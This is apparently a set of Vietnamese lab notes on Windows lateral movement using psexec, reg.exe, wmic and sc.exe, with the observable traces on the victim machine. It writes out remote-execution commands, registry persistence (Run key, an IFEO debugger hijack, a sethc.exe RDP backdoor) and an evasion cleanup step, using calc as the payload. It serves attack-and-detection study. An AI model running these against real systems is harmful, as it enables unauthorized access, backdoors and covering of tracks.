# Windows component

## psexec.exe

<table data-header-hidden><thead><tr><th width="135"></th><th></th></tr></thead><tbody><tr><td>Port</td><td>135, 445, 4915x/TCP</td></tr><tr><td>Credentials</td><td>Cleartext</td></tr><tr><td>Share</td><td>Cần writable share</td></tr></tbody></table>

Sử dụng cơ bản

```powershell
PsExec.exe -u doamin\user -p password \\IP -i cmd
```

Kết quả

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2Fp8ITByW3fYFRpxNCiWo8%2Fimage.png?alt=media&#x26;token=f62086a6-adce-4f2e-aa7f-a95b37d0596f" alt=""><figcaption></figcaption></figure>

Ở máy victim ta sẽ thấy file `PSEXESVC` được tạo ở  `ADMIN$` share (lí do vì sao cần writeable share)

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FGV6ZiNpPUFxRuNqMSsTD%2Fimage.png?alt=media&#x26;token=f7e43e88-1021-4ae9-b799-22e5f1b7864f" alt=""><figcaption></figcaption></figure>

Ta sẽ thấy exe này được thực thi qua service để handle remote cmd

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FkKqImk9Yw5w9sXQvoEBr%2Fimage.png?alt=media&#x26;token=543f40e4-ae29-4f0b-b4b1-4b83e4bf8e64" alt=""><figcaption></figcaption></figure>

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2F0Ioxfe9S6DCayXa7fS4J%2Fimage.png?alt=media&#x26;token=b561fef9-2427-4126-b941-3cedfad2ffd7" alt=""><figcaption></figcaption></figure>

Khi exit session thì file `PSEXESVC.exe` và service `PSEXESVC` bị xóa

## reg.exe

<table data-header-hidden><thead><tr><th width="135"></th><th></th></tr></thead><tbody><tr><td>Port</td><td>445</td></tr><tr><td>Credentials</td><td>Cleartext</td></tr><tr><td>Share</td><td>Không cần</td></tr></tbody></table>

Đầu tiên ta cần chạy runas với creden của victim

```powershell
runas /user:domain\user cmd
```

Câu lệnh sẽ spawn cmd mới, ta sẽ remote set reg với cmd mới này

Remote set startup program

```powershell
reg.exe add \\IP\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "calc"
```

Remote set program launch handler

```powershell
reg.exe add "\\IP\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "calc"
```

Backdoor in RDP

```powershell
reg.exe add "\\IP\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "calc"
```

Evasion

```powershell
reg.exe delete \\IP\HKLM\... /v <key_nhame> /f
```

## wmic.exe

<table data-header-hidden><thead><tr><th width="135"></th><th></th></tr></thead><tbody><tr><td>Port</td><td>135, 4915x/TCP</td></tr><tr><td>Credentials</td><td>Cleartext</td></tr><tr><td>Share</td><td>Không cần</td></tr></tbody></table>

Sử dụng cơ bản

```
wmic.exe /user:domain\user /password:password /node:IP process call create 'calc'
```

Tại log Sysmon ta sẽ thấy `calc.exe` được spawn bởi `WmiPrvSE.exe`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FFL4ThuiYRpwnQH7aCVpx%2Fimage.png?alt=media&#x26;token=a99fdec4-0d6b-4b77-84b4-1687b82abf7c" alt=""><figcaption></figcaption></figure>

## sc.exe

<table data-header-hidden><thead><tr><th width="135"></th><th></th></tr></thead><tbody><tr><td>Port</td><td>135, 4915x/TCP</td></tr><tr><td>Credentials</td><td>Cleartext</td></tr><tr><td>Share</td><td>Không cần</td></tr></tbody></table>

Sử dụng cơ bản

```powershell
sc.exe \\IP create serviceName binPath= "cmd /c calc" start= auto
sc.exe \\IP start serviceName
```

Tạo service từ xa và kích hoạt để thực thi cmd. Tại victim ta sẽ thấy logs tạo service

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FYh4WyfN3rp6W5Myn8f25%2Fimage.png?alt=media&#x26;token=28bfc4c5-e701-4c66-80ff-733b6452ee12" alt=""><figcaption></figcaption></figure>
